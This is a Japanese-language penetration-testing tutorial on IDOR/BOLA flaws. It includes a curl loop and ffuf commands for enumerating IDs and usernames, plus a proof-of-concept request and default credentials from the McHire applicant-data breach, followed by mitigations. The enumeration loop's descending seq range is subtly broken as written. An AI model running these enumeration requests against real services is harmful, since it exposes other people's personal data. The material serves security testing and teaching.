IDOR (Insecure Direct Object Reference)

Reading time: 8 minutes

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web や API エンドポイントがユーザ制御可能な識別子を公開または受け取り、その識別子を使って内部オブジェクトへ直接アクセスし、呼び出し元がそのオブジェクトへアクセス/変更する権限を持っているかを検証していない場合に発生します。成功した場合、他ユーザのデータの読み取りや変更といった水平/垂直な権限昇格、最悪の場合はアカウント完全乗っ取りや大量データの流出を招くことがあります。

1. 潜在的なIDORの特定

1. オブジェクトを参照するパラメータを探す:

• パス: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
• クエリ: ?id=42, ?invoice=2024-00001
• 本文 / JSON: {"user_id": 321, "order_id": 987}
• ヘッダ / Cookie: X-Client-ID: 4711

2. データを読み取るまたは更新するエンドポイント（GET, PUT, PATCH, DELETE）を優先する。
3. 識別子が連続的または予測可能かを確認する — あなたの ID が 64185742 なら 64185741 が存在する可能性が高い。
4. 隠れたまたは代替のフロー（例: "Paradox team members" リンクがログインページにあるなど）を調べ、追加の API が露出していないか確認する。
5. 権限の低い認証済みセッションを使い、ID のみを変更して同じ token/cookie を保持する。認可エラーが返ってこない場合、通常は IDOR の兆候である。

簡単な手動改ざん (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

自動列挙 (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

ダウンロード用のエンドポイントが username と filename の両方を受け取る場合（例: /view.php?username=<u>&file=<f>）、エラーメッセージのわずかな違いがしばしば oracle を生みます:

• Non-existent username → "User not found"
• Bad filename but valid extension → "File does not exist" (sometimes also lists available files)
• Bad extension → validation error

認証済みの任意のセッションを使い、無害な filename を固定して username パラメータを fuzz し、"user not found" 文字列でフィルタリングすることで有効なユーザーを発見できます:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

有効なユーザー名が特定されたら、特定のファイルを直接リクエストします（例: /view.php?username=amanda&file=privacy.odt）。このパターンは、他ユーザーのドキュメントの不正な開示や credential leakage を引き起こすことがよくあります。

2. 実際のケーススタディ – McHire Chatbot Platform (2025)

Paradox.ai によって動く McHire 採用ポータルの評価中に、次の IDOR が発見されました:

• Endpoint: PUT /api/lead/cem-xhr
• Authorization: user session cookie for any restaurant test account
• Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

lead_id を減少させることで、テスターは任意の応募者の full PII（name, e-mail, phone, address, shift preferences）および session hijacking を可能にした consumer JWT を取得しました。範囲 1 – 64,185,742 を列挙した結果、約 64 million 件のレコードが露出しました。

概念実証リクエスト:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

テストアカウントへのアクセスを許可するデフォルト管理者資格情報（123456:123456）と組み合わさり、この脆弱性は重大な企業全体のデータ漏洩を引き起こしました。

3. Impact of IDOR / BOLA

• 水平的エスカレーション – 読み取り/更新/削除が可能な他のユーザーのデータ。
• 垂直的エスカレーション – 権限の低いユーザーが管理者専用の機能を取得する。
• 識別子が連続している場合（例: 申請者ID、請求書）、大規模なデータ漏洩が発生する可能性がある。
• トークンを盗む、または他のユーザーのパスワードをリセットすることでアカウント乗っ取りが発生する。

4. Mitigations & Best Practices

1. すべてのリクエストでオブジェクトレベルの認可を強制する（user_id == session.user）。
2. 自動増分IDの代わりに、間接的で推測困難な識別子（UUIDv4, ULID）を推奨する。
3. 認可はサーバー側で行い、隠しフォームフィールドやUIコントロールに依存してはいけない。
4. 中央のミドルウェアでRBAC / ABACのチェックを実装する。
5. IDの列挙を検出するために、レート制限 & ロギングを追加する。
6. 新しいエンドポイントごとにセキュリティテストを実施する（unit, integration, and DAST）。

5. Tooling

• BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
• OWASP ZAP: Auth Matrix, Forced Browse.
• Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

• McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
• OWASP Top 10 – Broken Access Control
• How to Find More IDORs – Vickie Li
• HTB Nocturnal: IDOR oracle → file theft